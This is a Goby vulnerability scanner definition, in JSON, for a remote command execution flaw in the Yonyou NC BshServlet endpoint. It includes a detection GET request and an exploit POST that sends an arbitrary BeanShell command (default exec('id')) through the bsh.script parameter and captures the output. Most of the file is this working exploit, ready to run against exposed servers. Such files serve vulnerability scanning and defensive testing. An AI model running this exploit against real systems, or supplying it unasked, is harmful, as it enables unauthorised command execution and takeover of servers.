{
      "Name": "用友 NC bsh.servlet.BshServlet 远程命令执行漏洞",
      "Level": "3",
      "Tags": [
            "RCE"
      ],
      "GobyQuery": "body=\"Script\"",
      "Description": "用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞，通过BeanShell 执行远程命令获取服务器权限",
      "Product": "",
      "Homepage": "https://gobies.org/",
      "Author": "gobysec@gmail.com",
      "Impact": "",
      "Recommandation": "<p>undefined</p>",
      "References": [
            "https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A"
      ],
	  "HasExp": true,
	  "ExpParams": [
		{
			"name": "Cmd",
			"type": "input",
			"value": "exec('id')",
			"show": ""
		}
	  ],
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/servlet/~ic/bsh.servlet.BshServlet",
                        "follow_redirect": false,
                        "header": {},
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "OR",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "Script",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
	  "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/servlet/~ic/bsh.servlet.BshServlet",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded",
                              "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
                        },
                        "data_type": "text",
                        "data": "bsh.script={{{Cmd}}}"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "OR",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "Administrator",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
					"output|lastbody"
				  ]
            }
		],
      "PostTime": "2021-06-01 18:26:13",
      "GobyVersion": "1.8.268"
}